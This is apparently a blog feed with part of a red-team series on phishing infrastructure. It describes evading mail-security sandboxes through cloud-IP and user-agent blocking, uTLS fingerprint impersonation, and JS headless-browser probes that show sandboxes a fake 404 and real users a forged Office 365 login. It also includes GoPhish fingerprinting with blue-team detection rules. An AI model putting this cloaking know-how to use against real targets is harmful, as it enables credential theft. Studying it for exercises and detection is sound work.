&lt;li&gt;Alibaba Cloud (AS45102, AS37963): China’s largest public cloud, covering East China 1/2, North China 1/2/3, South China 1, etc. Nearly all domestic commercial SEG sandboxes and third-party mail-security crawler nodes sit on Alibaba Cloud.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Tencent Cloud (AS45090, AS132203): Tencent Cloud public egress; sandbox traffic for Tencent Enterprise Mail and WeChat Work mail security modules exits here.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Huawei Cloud (AS55967): Huawei Cloud public egress; mail security for some government/enterprise customers.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Security-vendor ASNs: QiAnXin, Sangfor, Knownsec scan-node ranges—these vendors’ mail sandboxes and threat-intel crawlers usually have fixed egress ranges, but I did not find specific CIDRs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;References above: https://bgp.tools/&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;strong&gt;Bot Management Score:&lt;/strong&gt; Use Cloudflare’s Bot Management engine; return decoy content for scores below 30.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;&lt;strong&gt;Geo-IP restriction:&lt;/strong&gt; Limit source countries to the exercise audience’s geography; if you know the target’s IP ranges, restrict down to city and drop everything outside. (Similar to the geo-fencing feature implemented later; with a CDN you can do this natively.)&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;0x04 TLS Fingerprint Adversarial Techniques: JA3/JA4 and uTLS Evasion&lt;/h3&gt;
&lt;p&gt;This is the lowest-level technical detail in the offense/defense game—the first layer above TCP/IP.&lt;/p&gt;
&lt;h4&gt;4.1 ClientHello Fingerprint Principles&lt;/h4&gt;
&lt;p&gt;When a client starts HTTPS it sends a ClientHello containing TLS version, cipher suites, extensions, elliptic curves, compression methods, and more. Different software stacks produce fixed structural differences:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;JA3&lt;/strong&gt; (Salesforce, 2017): Concatenate selected fields and MD5-hash them into a 32-character fingerprint. For example, Go’s default JA3 is &lt;code&gt;771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;JA4&lt;/strong&gt; (FoxIO, 2023): A more structured, hierarchical scheme in the form &lt;code&gt;t13i&amp;#x3C;cs&gt;_&amp;#x3C;ext&gt;_&amp;#x3C;groups&gt;&lt;/code&gt;, without MD5; supports fingerprinting both sides of the handshake (JA4 Server / JA4 Client / JA4S / JA4XSS, etc.).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you use Go’s standard &lt;code&gt;net/http&lt;/code&gt; or &lt;code&gt;gomail&lt;/code&gt; to make requests, traffic carries Go-unique JA3/JA4 fingerprints. (Open-source: Zeek’s ja4 plugin, Suricata JA3 support; domestic commercial: QiAnXin SkyEye, NSFOCUS NTA, Colasoft network analysis TLS fingerprint modules, and some full-packet appliances.) At the edge, seeing an unfamiliar external IP repeatedly handshaking with a specific fingerprint and behavior resembling credential-collection POSTs is enough to block immediately.&lt;/p&gt;
&lt;h4&gt;4.2 uTLS Browser Impersonation&lt;/h4&gt;
&lt;p&gt;TaiGong draws on &lt;code&gt;refraction-networking/utls&lt;/code&gt; (GitHub, Go 1.21+). uTLS is a fork of Go’s &lt;code&gt;crypto/tls&lt;/code&gt; that allows programmatic, precise control of ClientHello:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Preset browser templates:&lt;/strong&gt; &lt;code&gt;HelloChrome_Auto&lt;/code&gt;, &lt;code&gt;HelloFirefox_Auto&lt;/code&gt;, &lt;code&gt;HelloSafari_16_0&lt;/code&gt;, &lt;code&gt;HelloIOS_14&lt;/code&gt;, etc.—exact imitation of cipher suite order, extension lists, and elliptic-curve combinations for the corresponding browser.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Randomized fingerprints:&lt;/strong&gt; &lt;code&gt;HelloRandomized&lt;/code&gt; randomly selects combinations from all cipher suites and extensions uTLS supports—useful against denylist-style detection.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Custom fingerprints:&lt;/strong&gt; &lt;code&gt;HelloCustom&lt;/code&gt; lets you fully hand-build ClientHello—capture a real browser ClientHello (tcpdump or Wireshark), reverse it with &lt;code&gt;Fingerprinter.FingerprintClientHello()&lt;/code&gt; into a uTLS config, then &lt;code&gt;ApplyPreset()&lt;/code&gt; for an exact copy.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Important limits:&lt;/strong&gt; uTLS currently only impersonates browsers at the ClientHello stage. &lt;code&gt;tls-client&lt;/code&gt; implements similar imitation through server Hello verification, but is less mature than uTLS. Also, Go’s standard library lacks some TLS 1.3 extensions (e.g. Compressed Certificate), so certain Chrome templates fail handshakes against specific servers. See GitHub Issue &lt;a href=&quot;javascript:;&quot;&gt;#321&lt;/a&gt;.&lt;/p&gt;
&lt;h4&gt;4.3 GREASE Against GREASE&lt;/h4&gt;
&lt;p&gt;RFC 8701 defines TLS GREASE (Generate Random Extensions And Sustain Extensibility) to ensure backward compatibility for protocol extensions. Chrome pioneered random insertion of GREASE cipher suites (e.g. &lt;code&gt;0x0A0A&lt;/code&gt;) and extension types in ClientHello so servers would not tear down on unknown values.&lt;/p&gt;
&lt;p&gt;Interestingly, &lt;strong&gt;GREASE makes JA3 detection harder&lt;/strong&gt;: Chrome may send different GREASE values per connection, so the JA3 fingerprint changes.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Advanced red-team technique:&lt;/strong&gt; Actively add GREASE values in a custom uTLS ClientHello so the fingerprint is closer to real Chrome. But consistency matters—AI models (e.g. PerimeterX, DataDome ML classifiers) do not look only at a single handshake fingerprint; they analyze TLS behavioral consistency across the session (e.g. whether the HTTP/2 SETTINGS frame sequence after handshake matches a browser).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;0x05 Payload-Layer Adversarial Techniques: Multi-Stage Probe Pages&lt;/h3&gt;
&lt;p&gt;The last line of infrastructure stealth is the landing page itself. At this layer TaiGong uses a dual architecture of &lt;strong&gt;client-side JS probes + server-side multi-factor joint judgment&lt;/strong&gt;. Part of this section is lifted from research notes in TaiGong’s &lt;em&gt;Chapter 6: The Advanced Identification Contest&lt;/em&gt;—not particularly mysterious or uniquely brilliant, but a useful concrete example to publish.&lt;/p&gt;
&lt;h4&gt;5.1 Client Dual Probes: magic.js + finger.js&lt;/h4&gt;
&lt;p&gt;TaiGong injects two independent client scripts into every landing-page template—&lt;code&gt;magic.js&lt;/code&gt; and &lt;code&gt;fing.js&lt;/code&gt; (finger). Their roles are roughly:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Detect &lt;code&gt;navigator.webdriver&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Detect HeadlessChrome/PhantomJS-style keywords in the UA&lt;/li&gt;
&lt;li&gt;Detect whether Chrome DevTools Protocol is connected&lt;/li&gt;
&lt;li&gt;Detect empty &lt;code&gt;navigator.plugins&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Detect missing &lt;code&gt;navigator.languages&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Detect automation-framework properties such as &lt;code&gt;window._phantom&lt;/code&gt;, &lt;code&gt;window._selenium&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Detect zero &lt;code&gt;window.outerWidth&lt;/code&gt; / &lt;code&gt;outerHeight&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Detect contradictions between &lt;code&gt;Notification.permission&lt;/code&gt; and Permissions API results&lt;/li&gt;
&lt;li&gt;Detect WebGL renderers such as SwiftShader/llvmpipe (software renderers)&lt;/li&gt;
&lt;li&gt;Detect &lt;code&gt;performance.timing&lt;/code&gt; DOM parse times under 5ms&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Decision logic:&lt;/strong&gt; When &lt;code&gt;signals &gt;= 2&lt;/code&gt; (default threshold), &lt;code&gt;document.write&lt;/code&gt; replaces the entire page with standard Nginx 404 HTML. After 100ms, &lt;code&gt;setTimeout&lt;/code&gt; runs again to cover async-loaded checks (e.g. Permissions API). On sandbox detection it also fires a pixel report to &lt;code&gt;/report?id=xxx&amp;#x26;reason=sandboxer&lt;/code&gt; for stats.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Red team view:&lt;/strong&gt; The engineering tradeoff is explicit—prefer false negatives over false positives, because for phishing exercises delivery rate matters more. Threshold 2 means a single anomalous signal (e.g. only UA matching HeadlessChrome) does not block; only two or more independent dimensions hit at once. In Taigong usage the backend controls this; adjust sensitivity via the &lt;code&gt;threshold&lt;/code&gt; variable—recommended range 1–3.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blue team view:&lt;/strong&gt; magic.js detection logic is static and fully attributable. It cannot catch:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sandboxes using real Chrome instances (non-headless)—WebDriver flag scrubbed, WebGL normal, plugins present&lt;/li&gt;
&lt;li&gt;Crawlers egressing from real corporate network IPs—no static checks hit&lt;/li&gt;
&lt;li&gt;&lt;code&gt;puppeteer-extra-plugin-stealth&lt;/code&gt; + real browser instances—items 1, 3, 4, and 5 all bypassed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That is exactly why server-side joint judgment is indispensable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;fing.js (client environment collection)&lt;/strong&gt; — the second script injected alongside magic.js, running after magic.js judges non-sandbox. Collection includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Canvas fingerprint: hash of &lt;code&gt;canvas.toDataURL()&lt;/code&gt; for fixed text + fixed colors + fixed rectangles—different browser/OS/GPU combos produce different renders&lt;/li&gt;
&lt;li&gt;Browser attributes: &lt;code&gt;navigator.userAgent&lt;/code&gt;, &lt;code&gt;navigator.language&lt;/code&gt;, &lt;code&gt;navigator.platform&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Screen attributes: &lt;code&gt;screen.width×screen.height&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Environment attributes: timezone offset (&lt;code&gt;new Date().getTimezoneOffset()&lt;/code&gt;), touch support (&lt;code&gt;&apos;ontouchstart&apos; in window&lt;/code&gt;), cookies enabled (&lt;code&gt;navigator.cookieEnabled&lt;/code&gt;), DNT (&lt;code&gt;navigator.doNotTrack&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Collected data is POSTed to a backend endpoint; the server associates it with the click event in the database for later victim behavior profiling and risk scoring.&lt;/p&gt;
&lt;h4&gt;5.2 Server Multi-Factor Joint Judgment: CheckEvasion&lt;/h4&gt;
&lt;p&gt;In server-side functions Taigong runs the following checks, priority high to low:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;JA4 denylist:&lt;/strong&gt; Exact client TLS fingerprint match against known scanner/sandbox libraries (e.g. Evilginx’s &lt;code&gt;t13d191000_9dc949149365_e7c285222651&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IP denylist:&lt;/strong&gt; Exact IP, CIDR, and wildcard-prefix formats&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloud-provider IP blocking:&lt;/strong&gt; Built-in 200+ CIDR rules covering AWS/Azure/GCP/Alibaba Cloud/Tencent Cloud&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Crawler UA blocking:&lt;/strong&gt; 35 known bot UA keywords—from Googlebot/Bingbot through python-requests/Go-http-client to VirusTotal/Censys; common ones are all covered&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Three-tier geo-fence:&lt;/strong&gt; Country (&lt;code&gt;CN&lt;/code&gt;), province (&lt;code&gt;CN-Guangdong&lt;/code&gt;), city (&lt;code&gt;CN-Guangdong-Shenzhen&lt;/code&gt;); multi-region comma-separated mixes supported&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;On suspicion, per config: return 302 to a legitimate site, return a fake Nginx 404, or serve as normal.&lt;/p&gt;
&lt;p&gt;A concrete scenario: exercise against a company’s finance department; mail spoofed as “annual audit notice”; landing page is a forged Office 365 login form.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Layer 1 — Server (request blocked before the landing page)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Some mail gateways visit the link in the background before the user ever receives the message. When the request hits the taigong server:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cloud-provider IP block: egress IP falls in a Tencent CDN CIDR → if cloud-provider IP interception is on, return 302 to Baidu home. The gateway sees “this link redirects to Baidu” and judges it safe.&lt;/li&gt;
&lt;li&gt;Even if cloud detection is off, UA check: TencentCloud UA contains “TencentCloud/Tencent-Cloud,” hits crawler denylist → same block.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Layer 2 — magic.js (server did not block; landing HTML returned, but sandbox never sees real content)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Suppose a more advanced sandbox—real corporate network egress, normal browser UA, no JA4 denylist hit—successfully fetches the landing HTML. magic.js then runs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;navigator.webdriver === true&lt;/code&gt; → +1 (sandbox driven by Selenium/Playwright)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;navigator.plugins.length === 0&lt;/code&gt; → +1 (headless, no plugins)&lt;/li&gt;
&lt;li&gt;load time &amp;#x3C; 5ms → +1 (machine opens DOM in milliseconds)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;signals = 3 &gt;= 2&lt;/code&gt;, block triggers. &lt;code&gt;document.write&lt;/code&gt; replaces the entire browser DOM with:&lt;/p&gt;
&lt;h2&gt;404 Not Found&lt;/h2&gt;
&lt;p&gt;Plus a pixel report: &lt;code&gt;/report?id=Ab7Xk2Q&amp;#x26;reason=sandboxer&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sandbox perspective:&lt;/strong&gt; It thinks it hit a page that is already offline (404)—no phishing traits captured. Sandbox verdict: safe.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Real user perspective:&lt;/strong&gt; Receives mail, clicks link, browser opens the landing page normally. magic.js runs—&lt;code&gt;navigator.webdriver&lt;/code&gt; is false, plugins load, render takes hundreds of ms—&lt;code&gt;signals = 0&lt;/code&gt;, no block. Page shows the Office 365 login form. Password, submit, redirect. Fully seamless.&lt;/p&gt;
&lt;p&gt;So the actual design intent is:&lt;/p&gt;
&lt;p&gt;Not “prevent sandboxes from accessing,” but make sandboxes and real people see different things. Sandbox sees Nginx 404; human sees the phishing form. With both layers stacked, a sandbox must bypass IP/UA/JA4 filters server-side &lt;em&gt;and&lt;/em&gt; hit fewer than 2 client detection signals. Does the anti-attribution design look reasonable? Limitations remain.&lt;/p&gt;
&lt;h4&gt;5.3 Real-World Effectiveness and Limits of This Approach&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Limitations:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;No behavioral analysis:&lt;/strong&gt; magic.js does not track mouse trajectories, scroll detection, or Fitts’s law analysis. Some commercial anti-detection white papers tout these, but in engineering behavioral analysis is high-latency, high false-positive, and resource-heavy—cost/benefit is worse than static checks for phishing scenarios.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;No delayed rendering:&lt;/strong&gt; Landing Page HTML is returned complete; magic.js replaces content after render. If a SEG can dump a DOM snapshot before magic.js runs, it still sees the phishing form. Sandbox evolution is moving exactly toward capturing initial-state DOM.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Not a true “superposition state”:&lt;/strong&gt; Superposition was an earlier idea of mine; I have not found a good way to implement it. Current logic is “destroy the page after detecting a sandbox,” not “do not show content until identity is uncertain.” That engineering distinction is critical—true superposition with no malicious elements in the first response requires the server to deliver phishing content only after receiving a client probe callback, adding latency and complexity.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That is the full set of my views on infrastructure for phishing operational security. But in today’s offense/defense contests, even perfectly stealthy infrastructure, once it enters the &lt;strong&gt;content adversarial phase&lt;/strong&gt;, is still crushed by AI classifiers (e.g. Microsoft Defender ML models, Exchange Safety AI) if you only ship static HTML and hard-coded copy. The next article goes deep into body-level adversarial techniques: &lt;strong&gt;polymorphic HTML and a semantic dilution engine&lt;/strong&gt;—making every phishing message a unique fingerprint and probing the defenses of Bayesian and NLP classifiers.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SubdoMailing Research&lt;/strong&gt; — Guardio Labs, Nati Tal &amp;#x26; Oleg Zaytsev, February 2024. https://guard.io/labs/subdomailing-thousands-of-hijacked-major-brand-subdomains-found-bombarding-users-with-millions&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cloudflare Tunnel Documentation&lt;/strong&gt;. https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;JA4 Network Fingerprinting&lt;/strong&gt; — FoxIO LLC. https://github.com/FoxIO-LLC/ja4&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ja4-nginx-module&lt;/strong&gt; — FoxIO. https://github.com/FoxIO-LLC/ja4-nginx-module&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Refraction Networking uTLS&lt;/strong&gt;. https://github.com/refraction-networking/utls&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;RFC 8701 — TLS GREASE&lt;/strong&gt;. https://datatracker.ietf.org/doc/html/rfc8701&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cisco Talos Sender Maturity FAQ&lt;/strong&gt;. https://www.cisco.com/c/en/us/support/docs/security/email-security-appliance/215660-sdr-sender-maturity-faq.pdf&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Proofpoint Emerging Threats Intelligence&lt;/strong&gt;. https://www.proofpoint.com/us/products/advanced-threat-protection/et-intelligence&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;IDN Homograph Attack &amp;#x26; Japanese Character Confusion&lt;/strong&gt; — Tencent Cloud Security, 2025. https://cloud.tencent.com/developer/article/2597395&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;confusables-inspector&lt;/strong&gt; — OpenSecurity, 2025. https://github.com/opensecurity/confusables-inspector&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Certifiably Vulnerable: Using Certificate Transparency Logs for Target Reconnaissance&lt;/strong&gt; — Pletinckx et al., IEEE EuroS&amp;#x26;P 2023. https://doi.org/10.1109/EuroSP57164.2023.00038&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Don’t Phish-let Me Down: FIDO Authentication Downgrade&lt;/strong&gt; — Proofpoint US. https://www.proofpoint.com/us/blog/threat-insight/dont-phish-let-me-down-fido-authentication-downgrade&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;FIDO authentication undermined&lt;/strong&gt; — CSO Online. https://www.csoonline.com/article/4040128/fido-undermined.html&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Puppeteer Stealth Anti-Detection&lt;/strong&gt;. https://scrapingant.com/blog/avoid-detection-with-puppeteer-stealth&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Impact Assessment of Adversary-in-the-Middle Attack Evilginx Bypassing 2FA&lt;/strong&gt; — Springer ICR 2025. https://link.springer.com/chapter/10.1007/978-3-031-95652-2_14&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Browser Fingerprinting Techniques&lt;/strong&gt;. https://fingerprint.com/blog/browser-fingerprinting-techniques/&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Aged-domain acquisition bypass&lt;/strong&gt; — The Record / newestek.com. https://cybersecurityinfocus.com/?p=8455&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Series Navigation&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;part-1-gophish-ceiling.md&quot;&gt;Part 1: GoPhish’s Ceiling&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;part-2-opsec-infra.md&quot;&gt;Part 2: Untraceable Infrastructure&lt;/a&gt; ← This article&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;part-3-bayes-nlp.md&quot;&gt;Part 3: Bayesian &amp;#x26; NLP Content Adversarial Techniques&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;part-4-rid-polymorphism.md&quot;&gt;Part 4: Parameter Polymorphism &amp;#x26; Response Camouflage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;part-5-qr-delivery.md&quot;&gt;Part 5: Linkless Delivery &amp;#x26; QR Codes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;part-6-bec-polymorphism.md&quot;&gt;Part 6: BEC 3.0 &amp;#x26; Cross-Channel Orchestration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>邮件钓鱼攻防工程·1：GoPhish 的天花板</title><link>https://s4u2self.cc/blog/email-phishing-engineering-part-1-gophish-ceiling</link><guid isPermaLink="true">https://s4u2self.cc/blog/email-phishing-engineering-part-1-gophish-ceiling</guid><description>拆解 GoPhish 六类指纹与架构债务，说明 2025-2026 演练平台真正要解决的技术问题。</description><pubDate>Fri, 03 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文是「邮件钓鱼攻防工程」系列的开篇。不聊概念，直接切入工程实现与真实对抗场景，分析为什么开源钓鱼框架在 2025-2026 年已经触及天花板，以及一个面向实战的演练平台到底需要解决哪些技术问题。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;首发至微信公众号：Yofune安全研究 欢迎关注。&lt;/p&gt;
&lt;h3&gt;0x01 一个圈内人心知肚明的事实&lt;/h3&gt;
&lt;p&gt;先说一个大多数人不愿意公开写出来的现状：国内绝大多数企业的钓鱼演练，本质上是在走过场。安在新榜 2025 年《中国企业员工信息安全意识调查报告》显示，仅约 24% 的中国企业曾开展过钓鱼演练，而已开展的演练也多属于合规驱动、浅层参与。安全内参等行业媒体多次将当前培训现状描述为&quot;形式化&quot;和&quot;走过场&quot;。&lt;/p&gt;
&lt;p&gt;流程通常是这样的：安全部门从 GitHub 拉一份 GoPhish，花半天部署到一台云主机上，用公司域名群发一封&quot;密码即将过期&quot;的模板邮件，统计点击率，写进季度汇报 PPT。领导点头，合规打勾，演练结束。&lt;/p&gt;
&lt;p&gt;但问题在于，这种演练和真实攻击之间隔着一道鸿沟。&lt;/p&gt;
&lt;p&gt;2024Microsoft Digital Defense Report 的数据很能说明问题：过去 12 个月中，基于 AiTM（Adversary-in-The-Middle）的钓鱼攻击增长了 146%，MFA 中继攻击已经成为 APT 组织的标配战术。Proofpoint 2024 State of the Phish Report 指出，83% 的受访组织在 2023 年遭遇了至少一次成功的钓鱼攻击，BEC造成的直接经济损失中位数达到 5 万美元。HP Wolf Security 2024 年报告则显示，基于 QR 码的钓鱼攻击（Quishing）同比增长超过 270%。&lt;/p&gt;
&lt;p&gt;而我们的演练工具仍然停留在&quot;群发一封邮件，看谁点了链接&quot;的阶段。&lt;/p&gt;
&lt;p&gt;这不叫演练，这叫发问卷小差。&lt;/p&gt;
&lt;p&gt;蓝队视角：如果你的组织还在用这种&quot;已知模板+已知域名+已知 IP&quot;的演练方式，那么演练得出的&quot;点击率&quot;数据没有任何参考价值——它既测不出员工面对真实鱼叉邮件时的判断力，也测不出现有安全控制措施的实际有效性。真正的攻击者不会用 GoPhish 默认的 X-Gophish-Contact 头发邮件，也不会从阿里云直接打你的员工。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x02 GoPhish 六类指纹的攻防解剖&lt;/h3&gt;
&lt;p&gt;先给 GoPhish 应有的尊重。Jordan Wright 在 2016 年开源这个项目时，它确实填补了一个空白——让非安全从业者也能快速搭建钓鱼模拟环境。Go 单二进制部署、内嵌 SQLite、RESTful API，这些工程决策在当时都是正确的。&lt;/p&gt;
&lt;p&gt;不过那已经是过去十年的事情了。&lt;/p&gt;
&lt;p&gt;但 GoPhish 的架构定位从第一天起就是&quot;安全意识培训工具&quot;这个定位差异导致了一系列结构性问题。&lt;/p&gt;
&lt;p&gt;我们在审计 GoPhish v0.12.1 源码时，在 HTTP 协议栈各层梳理出六类可被指纹化的特征。以下逐一分析，每类同时给出红队的规避手段和蓝队的检测思路。&lt;/p&gt;
&lt;h4&gt;2.1 自定义 Header 指纹&lt;/h4&gt;
&lt;p&gt;这是最广为人知的问题。GoPhish 在每封发出的邮件中插入了两个自定义 Header：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;X-Gophish-Contact: support@getgophish.com
X-Gophish-Signature:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;红队视角：部分 GoPhish 社区 fork 版本（如evilgophish-FORK、lilloX/gophish 以及中文社区的 GoPhish 增强版）已移除或重命名这两个自定义 Header 以规避检测，Header 移除方法在多个开源绕过指南和补丁脚本中有文档记录（如 0xQRx/Gophish_Customization）。&lt;/p&gt;
&lt;p&gt;但需注意：上游 gophish/gophish 仓库最新版 v0.12.1 仍包含这两个 Header，且 kgretzky/gophish 等高星 fork 并未明确记载移除了它们——Header 移除是以绕过检测为目的的部分 fork 所做的针对性修改，并非社区 fork 的普遍特征。即便删掉 Header，邮件头部的 Received 链中仍然可能残留 Go 标准库 SMTP 客户端特征。在 mailer/mailer.go 中，GoPhish 使用 gomail 库发送，其 MIME 构造方式和 Message-Id 的 @ 后缀格式也有可识别的模式。更彻底的方案是使用独立的 MTA（如 Postfix）作为发送中继，让邮件头部特征完全由 MTA 决定。&lt;/p&gt;
&lt;p&gt;蓝队视角：Proofpoint、Mimecast、Microsoft Defender for Office 365 均可配置自定义邮件流规则：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;condition: header_contains(&quot;X-Gophish&quot;)
action: quarantine
severity: HIGH
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更进一步，可以写规则检查 Message-Id 是否匹配 Go gomail 的默认格式（UUID 无域名后缀，或后缀From 域不一致）。这些规则不需要任何威胁情报订阅，纯规则引擎即可覆盖。&lt;/p&gt;
&lt;h4&gt;2.2 路由路径指纹&lt;/h4&gt;
&lt;p&gt;GoPhish 的钓鱼服务端在 controllers/route.go 中注册了若干固定路径：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;/track —— 邮件打开跟踪（追踪像素）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;/report —— 举报处理&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;/robots.txt —— 固定内容 Disallow: /&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;静态资源 /static/ 下的文件&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;红队视角：定制化的平台必须做到路由可配置。路径名称应当可以通过配置文件动态设定，且 /robots.txt 不应该暴露任何路径信息。更激进的做法是取消独立的路由表，全部通过通配符 /{path:.*} 统一分发，由业务逻辑层根据参数路由。&lt;/p&gt;
&lt;p&gt;蓝队视角：在反向代理或 WAF 层面，对已知钓鱼框架的路由路径进行 URL 模式匹配：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Nginx WAF 规则示例
location ~* ^/(track|report|static/) {
 return 403;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;modsecurity 的 REQUEST_FILENAME 规则，可以有效识别未经过改动的 GoPhish 实例。&lt;/p&gt;
&lt;h4&gt;2.3 Rid 参数指纹&lt;/h4&gt;
